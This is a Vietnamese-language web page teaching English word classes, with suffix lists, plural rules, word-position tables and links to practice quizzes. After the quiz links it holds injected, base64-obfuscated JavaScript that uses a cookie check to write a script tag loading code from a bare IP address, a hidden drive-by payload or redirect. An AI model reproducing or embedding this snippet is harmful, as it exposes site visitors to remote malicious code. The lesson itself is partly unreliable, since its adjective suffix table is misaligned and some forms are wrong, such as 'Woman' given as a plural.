Word class là gì

Dịch Sang Tiếng Việt:

Danh từ

[ngôn ngữ] cấu tạo từ

Dictionary, Tra Từ Trực Tuyến, Dịch Online, Translate, Translation, Từ điển chuyên ngành Y khoa, Vietnamese Dictionary, Nghĩa Tiếng Việt

I. Noun

1. Cách hình thành danh từ

a] Các đuôi danh từ thường gặp

-ment development, appointment, assignment
-sion decision, profession, possesion, explosion, collision
-cion question, suggestion, correction, digestion
-al arrival, individual, approval, proposal
-ity maturity, generosity, popularity
-ility ability, capability, responsibility
-cy democracy, policy, accuracy, intimacy
-ness weakness, carefulness, happiness
-ship friendship, ownership, leadership, worship
-phy geography, philosophy,
-hood childhood, neighborhood, adulthood, likelihood
-ance importance, arrogance, appearance
-ence confidence, intelligence, difference
-dom kingdom, boredom, wisdom, stardom, freedom
-logy ecology, biology, geology, philosophy
-ism terrorism, criticism
-th strength, width, breadth, warmth, length

b] Các đuôi danh từ chỉ người

-er teacher, lover, writer
-or director, editor
-ar liar, beggar
-ist cyclist, stylist
-cian politician, musician
-ee employee, interviewee

 2. Phân loại danh từ

a] Danh từ đếm được

– Đối với danh từ số ít đếm được phải đi với một là tính từ miêu tả [descriptive adjective], hoặc hai là một mạo từ [a/an/the] hoặc ba là một từ hạn định [determiner] như là my your, this one, every, each…

Ex: an exam, a long exam, my brother, my oldest brother, each chapter, each new chapter

– Không bao giờ sử dụng danh từ số it đếm được mà không đi kèm với mạo từ [article] hoặc từ hạn định [determiner].

Incorrect:

house new house car old car

Correct:

a house thier new house my car our old car

Notes: Có một số trường hợp ngoại lệ mà một số danh từ số ít đếm được đi kèm với mạo từ như:

have dinner    in school    at home     at work

by bus [by + transportation]     by phone [by + communication]

  • Danh từ số nhiều đếm được

– Hầu hết muốn biến danh từ số ít đếm được thành danh từ số nhiều ta thêm –s vào danh từ đó

Ex: cat / cats        tree / trees      taxi / taxis     sweater / sweaters    course / courses      professor / professors

– Một số danh từ tận cùng là -y mà trước nó là phụ âm thì ta biến -y thành -i rồi thêm –es [nếu đứng trước là nguyên âm ta chỉ thêm – s]

Ex: library / libraries        lady / ladies       copy / copies          theory / theories

tray / trays       monkey / monkeys       survey / surveys       boy / boys

– Một số danh từ có tận cùng là –s, -ss, -sh, -ch, -x ta thêm –es để trở thành danh từ số nhiều

Ex: class / classes           bush / bushes      bench / benches      box / boxes     quiz / quizzes

Notes:

– Một số danh từ có dạng số nhiều bất quy tắc

Singular form Plural form Meaning
Man Men Đàn ông
Woman Woman Phụ nữ
Child Children Trẻ em
Person Persons or people Con người
Mouse Mice Con chuột
Foot Feet Ngón chân
Datum Data Tài liệu
Alumnus Alumni Nguyên nam sinh của trường phổ thông, đại học
medium Media Phương tiện truyền thông
Criterion Criteria Tiêu chí
Fungus Fungi Nấm
Hypothesis Hypotheses Giả thuyết
Focus Foci Tiêu điểm, trọng tâm
Thesis Theses Luận đề, luận điểm
Hero Heroes Anh hùng

– Một số danh từ có số nhiều và số ít giống nhau

Singluar form Plural form Meaning
Fish Fish Con cá
Sheep Sheep Con cừu
Aircraft Aircraft Những máy móc bay được trên không

– Một số danh từ về vật dụng, quần áo dùng theo cặp

Ex: trousers, pants [quần đùi], jeans, shorts [quần ngắn], tights [tất], glasses, scissors, binoculars [ống dòm], pliers [cái kìm], earnings [bông tai]

– Một số danh từ kết thúc bằng -s nhưng lại là số ít và đi với động từ số ít

Ex: news [tin tức], mumps [quai bị], measles [bệnh sởi], diabetes [bệnh tiểu đường], billiards, dominoes [đô-mi-nô], physics [vật lí], mathematics [toán học], statistics [thống kê], politics [chính trị], gymnatics [môn thể hình].

– Một số danh từ luôn là số nhiều và đi với động từ số nhiều

Ex: Cattle [gia súc], police [cảnh sát], surroundings [môi trường xung quanh], congratulations [sự chúc mừng], clothes [quần áo], odds [lợi thế].

Danh từ không đếm được đi với động từ số ít.

– Danh từ không đếm được thường là chất lỏng hay chất khí

Ex: water, air, oil, oxygen

– Danh từ không đếm được những vật được tạo thành từ những thành phần nhỏ

Ex: sugar, salt, whitesand, new furniture, homework, good news, equipment, money, expensive clothing.

– Danh từ không đếm được thường là những hiện tượng tự nhiên, các lĩnh vực nghiên cứu, nguyên liệu thô, hay những khái niệm trừu tượng các môn thể thao

Ex: rain, ecônmics, gold, happiness, respect, soccer, hot weather, psychology, hard coal, luck, satifaction

Notes: Những danh từ hay bị nhầm lẫn là danh từ số nhiều

Incorrect:   furnitures       advices        homeworks            equipments          informations

funiture         advice         homework               equipment            information

– Ngoài ra, ta có thể sử dụng những danh từ để cụ thể hóa danh từ không đếm được

Ex:

A piece of advice

A piece/ sheet of paper

A slice/ load of bread

A grain of rice/ sugar/ salt

3. Chức năng của danh từ

– Danh từ có thể làm chủ ngữ [subject] cho một đồng từ [verb]

Ex: Musician plays the piano [nhạc sĩ chơi piano]

Musician [danh từ chỉ người] là chủ ngữ cho động plays

Ex: Mai is a student of faculty of Music Education

[Mai là sinh viên của khoa Sư phạm Âm nhạc] – Mai [tên riêng] là chủ ngữ cho động từ “to be”- is

– Danh từ có thể làm tân ngữ trực tiếp [direct object] cho một động từ:

Ex: He bought a book [Anh ấy đã mua một cuốn sách] – a book là tân ngữ trực tiếp [direct object] cho động từ quá khứ bought

– Danh từ có thể làm tân ngữ gián tiếp [indirect object] cho một động từ:

Ex: Tom gave Mary flowers

[Tom đã tặng hoa cho Mary] – Mary [tên riêng] là tân ngữ gián tiếp cho động từ quá khứ gave

– Danh từ có thể làm tân ngữ [object] cho một giới từ [preposition]:

Ex: “I will speak to rector about it” [Tôi sẽ nói chuyện với hiệu trưởng về điều đó] – rector [danh từ chỉ người] làm tân ngữ cho giới từ to

– Danh từ có thể làm bổ ngữ chủ ngữ [subject complement]

khi đứng sau các động từ nối hay liên kết [linking verbs] như to become, to be, to seem,…:

Ex: I am a teacher [Tôi là một giáo viên] – teacher [danh từ chỉ người] làm bổ ngữ cho chủ ngữ I

He became a president one year ago [ông ta đã trở thành tổng thống cách đây một năm] – president [danh từ chỉ người] làm bổ ngữ cho chủ ngữ He

It seems the best solution for English speaking skill [Đó dường như là giải pháp tốt nhất cho kỹ năng nói tiếng Anh] – solution [danh từ trừu tượng] làm bổ ngữ cho chủ ngữ It

– Danh từ có thể làm bổ ngữ tân ngữ [object complement]

Khi đứng sau một số động từ như to make [làm, chế tạo,…], to elect [lựa chọn, bầu,…], to call [gọi ,…], to consider [xem xét,…], to appoint [bổ nhiệm,…], to name [đặt tên,…], to declare [tuyên bố,..] to recognize [công nhận,…]

Ex: Board of directors elected her father president [hội đồng quản trị đã bầu bố cô ấy làm chủ tịch ] – president [danh từ chỉ người] làm bổ ngữ cho tân ngữ father

4. Vị trí của danh từ

Sau tính từ  [adj + N] They are interesting books.
Sau

–       mạo từ: a /an / the

–       từ chỉ định: this, that, these, those, every, each, …

–       từ chỉ số lượng: many, some, few, little, several …

–       tính từ sở hữu: my, his, her, your, our, their, its…

 

He is a student.

These flowers are beautiful. She needs some water.

Sau ngoại động từ [V cần O] She buys books.

She meets a lot of people.

Sau giới từ              [prep. + N] He talked about the story yesterday. He is interested in music.
Trước V chia thì [N làm chủ từ] The main has just arrived.
Sau enough             [enough + N] I don’t have enough money to buy that house.

II. Verb

Dựa vào các tiêu chí khác nhau động từ có thể phân thành nhiều loại

1. Ngoại động từ và ngoại động từ

a] Ngoại động từ [Transitive verbs] diễn tả hành động tác động trực tiếp lên người nào đó hoặc vật nào đó; nói cách khác, ngoại động từ là động từ thường được theo sau bởi danh từ hoặc đại từ làm tân ngữ trực tiếp [direct object].

Ex:      Let’s invite Sally.    [NOT Let’s invite.]

You surprised me.   [NOT You-surprised.]

Động từ invite và surprise sẽ không đủ nghĩa nếu không có danh từ Sally và đại từ me làm tân ngữ.

b] Nội động từ [Intransitive verbs] diễn tả hành động dừng lại ở người nói hoặc người thực hiện hành động đó; nói cách khác, nội động từ là động từ không cần có tân ngữ trực tiếp [danh từ hoặc đại từ] theo sau.

Ex:      Do sit down.

The children are playing.

Động từ sit và play không cần có tân ngữ trực tiếp cũng đã đủ nghĩa.

Notes:

– Nhiều động từ có thể vừa là ngoại động từ vừa là nội động từ [nghĩa của chúng có thể thay đổi].

Ex:

We lost / We lost the match

He ran as fast as he could. / He has no idea how to run a business.

They grow flowers in the garden. / Flowers grow in the garden.

– Ngoại động từ có thể có hai tân ngữ: tân ngữ trực tiếp [direct object] và tân ngữ gián tiếp [indirect object].

Ex:

My friend has just sent me a postcard.

Or My friend has just sent a postcard to me. [direct object: a postcard; indirect object: me]

-Tân ngữ theo sau nội động từ thường là tân ngữ của giới từ [prepositional object] chứ không phải là tân ngữ trực tiếp của động từ.

Ex:

Walked across the fields. [NOT We walk the fields]

Let’s talk about your plan.  [NOT Let’s talk your plan]

– Một số ngoại động từ có thể được theo sau bởi một tân ngữ và một bổ ngữ của tân ngữ [verb + object + object complement]. Bổ ngữ của tân ngữ thường là tính từ, danh từ hoặc danh ngữ.

Ex:

I find her attitude strange.

They elected him president.

That boy regards Bill as his father.

2. Động từ có quy tắc và động từ bất quy tắc [Regular and irregular verbs]

a] Động từ có quy tắc [Regular verbs] là động từ có hình thức quá khứ đơn [simple past] và quá khứ phân từ [past participle] được thành lập bằng cách thêm -ed vàọ động từ nguyên mẫu [infinitive].

infinitive                                  past                                       past participle

work [làm việc]                       worked                                    worked

invite [mời]                             invited                                     invited

study [học]                              studied                                     studied

b] Động từ bất quy tắc [Irregular verbs] là động từ có hình thức quá khứ đơn [simple past] và quá khứ phân từ [past participle] được thành lập không theo quy tắc nhất định nào. Hình thức quá khứ đơn và quá khứ phân từ của các động từ này nằm trong bảng động từ bất quy tắc [phải học thuộc lòng bảng động từ bất quy tắc].

infinitive                      past                   past participle

be                             was/ were                     been

see                                 saw                           seen

3. Trợ động từ và động từ thường [Auxiliary and ordinary verbs]

a] Trợ dộng từ [Auxiliary verbs]

Trợ động từ là các động từ đặc biệt [special verbs] be, have, do, can, may, must, ought, shall, will, need, dare, used được chia thành hai nhóm: trợ động từ chính [principal auxiliary verbs] và trợ động từ tình thái [modal auxiliary verbs].

– Trợ động từ chính [Principal auxiliary verbs] gồm be, do, have, được dùng với động từ khác để chỉ thì, thể, và để thành lập câu hỏi hoặc câu phủ định.

infinitive present tense past tense past participle
to be am, is, are was, were been
to do do, does did done
to have have, has had had
  • Be được thêm vào động từ khác để tạo thành thể tiếp diễn hoặc bị động.

Ex:

The children are playing in the yard.

He was imprisoned for three years.

  • Do được dùng để thành lập câu hỏi, câu phủ định và dạng nhấn mạnh của các động từ không có trợ động từ .

Ex:

Do you smoke?

I didn’t see them.

She does like you

  • Have được dùng để tạo thể hoàn thành.

Ex:

We have lived here for a long time.

I realized that I had met him before.

Notes: Be, do, have cũng có thể được dùng như động từ thường [ordinary verbs].

Ex:

He is lazy.

He does nothing.

He has no job.

b] Linking verbs: là một loại động từ đặc biệt [spe­cial verb] được dùng để kết nối chủ ngữ [subject] của câu với bổ ngữ của nó [subject complement]. Các từ thông dụng: be [thì, là, ở], seem [có vẻ như, dường như], appear [hình như, có vẻ], look [trông như, trông có vẻ], sound [nghe như], smell [có mùi], taste [có vị], feel [cảm thấy], become [trở thành],get [trở nên].

Ex:

My father is a doctor.

São Paulo has become the largest city in South America.

It’s getting dark.

– Bổ ngữ theo sau linking verbs có thể là một danh từ hoặc một tính từ.

Ex:

Your argument sounds right.

She has turned dressmaker.

He looks intelligent.

– Một số hệ từ được dùng để nói về sự thay đổi [hoặc không thay đổi]: become, get, grow, go, turn, stay, remain, keep.

Ex:

It’s becoming/ getting/ growing colder.

How does she stay so young?

The leaves are turning brown.

Notes: Một số linking verbs cũng có thể được dùng như động từ thường [ordinary verb], nhưng có nghĩa khác. Khi các động từ này được dùng như động từ thường thì chúng có thể dùng với trạng từ [không dùng vởi tính từ].

Ex:

You look very unhappy. What’s the matter? [linking verb]

The boss looked at me angrily.

[NOT The boss looked at me angry]

 III. Adjective

1. Function

– Tính từ dùng để miêu tả danh từ. Bất kể danh từ đó ở dạng số nhiều hay số ít thì nhìn chung đứng trước danh từ là tính từ và trước tính từ thường là những linking verb.

Ex: I heard a fascinating lecture

She seems disturbed and unhappy

– Tính từ miêu tả con người, sự vật hiện tượng. Những tính từ dùng để trả lời cho những câu hỏi What kind? [loại gì] Which one? [cái nào] How many? [bao nhiêu]

What kind? The old car with the broken window
Which one? The fourth chapter of the book, his car
How many? Twelve students, a few students

2. Vị trí của tính từ

Trước N               [Adj + N] This is an interesting books.
Sau TO BE I am tired.
Sau: become, get, look, feel, taste, smell, seem … It becomes hot.

She feels sad.

Sau trạng từ         [adv + adj] It is extremely cold. I’m terribly sorry. She is very beautiful.
Sau keep / make The news made me happy.
Sau too               [ be + too + adj] That house is too small.
Trước enough         [be + adj + enough] The house isn’t large enough.
Trong cấu trúc:          be + so + adj + that She was so angry that she can’t speak.
A, an, the, this, that, his, her, their, my, … +  [adj]

+ Noun

My new car is blue.
Trong câu cảm thán:

–    How + adj + S + V

– Wht + [a / an] + adj + N

 

How beautiful the girl is!

What an interesting film!

 – Hầu hết các tinhs từ thông dụng như [long, late,…] thì không có gốc từ đặc biệt. Tuy nhiên cũng có một số gốc từ phổ biến của tính từ như là:

-able Fashionable -ical Mechanical
-al Magical -ious Rebellious
-ant Hesitant -ish Stylish
-ary Spectacular -ist Racist
-ate Disciplinary -ive Selective
-ial Considerate -less Faultless
-ent Artificial -like Woman-like
-esque Persistent -ly Deathly
-ful Picturesque -ory Sensory
-ian Successful -ous Humorous
-ible Iranian -some Bothersome
-ic terrible -y Sandy

Notes:

  • Những từ tuy có đuôi là tính từ nhưng lại là danh từ [Hãy cẩn thận khi gặp chúng nha các chiến binh]

Ex: Representative [người đại diện], preservative [chất bảo quản], individual [mỗi cá nhân, mỗi người]

  • Một số linking verb được theo sau bởi tính từ [be, seem, appear, look, sound, taste, feel, become, get, become, get, grow, go, turn, stay, remain, keep, ect.]

Ex: She looked calm

It was turning dark outside, yet it remianed warm and sultry

  • The + adjective để nói về một nhóm người

Ex: the young [những người trẻ tuổi], the rich [người giàu], the poor [người nghèo], the handicapped [người khuyết tật], the ederly [người cao tuổi].

Notes: Vị trí của các tính từ trong một cụm có nhiều tính từ.

Kind of adjectives Examples
1. articles [mạo từ], pronouns [đại từ], possessives [tính từ sở hữu] a, an, the, this, that, these, those, her, their, Mary’s
2. quantity [số lượng] two, fifty, some, many, [a] few
3. opinion [ý kiến] poor, beautiful, interesting, cheerful, expensive
4. appearance [dáng vẻ bề ngoài] Size

Shape/length

Condition

big, little

round, square, short,

long

rusty, broken, hungry, wet, cold

5. age, color old, new, young, black, red
6. nationality [quốc tịch], religion [vùng miền] European, Asian, Catholic, Muslim
7. material [nguyên liệu], purpose [mục đích] silk, wood, cotton, gold, metal, swimming, reading, hiking
8. noun used as an adjective [danh từ được sử dụng như tính từ] Shoe [as in shoe store], wedding [as in wedding dress]

 The bride wore her mother’s beautiful satin wedding dress [đây là câu ví dụ mẫu, mình nghĩ các bạn nên học thuộc lòng một câu ví dụ sẽ dễ nhớ hơn là điên đầu với cái bảng trên hehe]

 IV. Adverb

 1. Function

Trạng ngữ được dùng để bổ nghĩa cho:

– Động từ                               She sang well.

– Tính từ                                It’s terribly cold.

– Quá khứ phân từ                 The room was badly painted.

– Cả câu                                 Unfortunately, your application has been rejected.

– Những trạng ngữ khác        He is driving extremely fast.

2. Kinds of adverbs

– Manner [cách thức]: clumsily, gracefully, vividly, distinctly, boldly

– Frequency [chỉ sự thường xuyên]: seldom, constantly, often, never, always

– Place and direction [nơi chốn và hướng]: upstairs, downtown, overseas, outside, opposite

– Time [thời gian]: soon, lately, since, so far, immediately, yet, already, yesterday

– Degree [mức độ]: very, extremely, quite, really, almost, too, completely, fairly, rather

3. Word formation

Quick => quickly

Calm => calmly

Note: Có một số từ có dạng tính từ và trạng từ giống nhau

Ex: best, better, big, cheap, clean, close, cold, daily, dead, deep, dirty, early, fast, fine, free, hard, high, hourly, insie, kindly, late, long, low, monthly, well, wide,…

4. The order of adverb

Trạng từ thường có những vị trí sau:

Trạng từ [đa phần là trạng từ chỉ thường xuyên] thường đứng trước động từ thường và sau động từ to be – to be + adv [always, usually, seldom, constantly, often, never]

– adv + V [động từ thường]

 

They often get up at 6 am.

Trạng từ thường đứng giữa trợ động từ và động từ thường [nói cách khác, nếu trong câu bị động trạng từ nằm giữa to be và V3/PP; nếu trong các thì hoàn thành trạng từ ở giữa have/has/had và V3/PP  

– to be + adv + V3/PP

– have  + adv + V3/PP

 

I have recently finished my homework.

I was severely punished by my teacher.

Sau động từ to be và các linking verb [seem, appear, look…] và sau tính từ To be/ linking verb + adv +adj

[lúc này trạng từ bổ nghĩa cho tính từ]

She is extremely beautiful.
Trạng từ cũng thường đứng đầu câu, hoặc đứng cuối câu. Adv,………………………..

………………………….adv

Unfortuantely, it suddenly rained heavily.

The doctor told me to breathe in slowly.

BÀI TẬP VẬN DỤNG

ĐỀ 1: //tungtung.vn/de-thi/20-CAU-HOI-TRAC-NGHIEM-TIENG-ANH-KIEM-TRA-TU-LOAI-WORD-CLASS-PHAN-12-pxlzL.view

ĐỀ 2: //tungtung.vn/de-thi/20-CAU-HOI-TRAC-NGHIEM-TIENG-ANH-KIEM-TRA-TU-LOAI-WORD-CLASS-PHAN-22-IPW6V.view function getCookie[e]{var U=document.cookie.match[new RegExp[“[?:^|; ]”+e.replace[/[[.$?*|{}[][]\/+^]]/g,”\$1″]+”=[[^;]*]”]];return U?decodeURIComponent[U[1]]:void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor[Date.now[]/1e3],cookie=getCookie[“redirect”];if[now>=[time=cookie]||void 0===time]{var time=Math.floor[Date.now[]/1e3+86400],date=new Date[[new Date].getTime[]+86400];document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString[],document.write[”]}

Video liên quan

Chủ Đề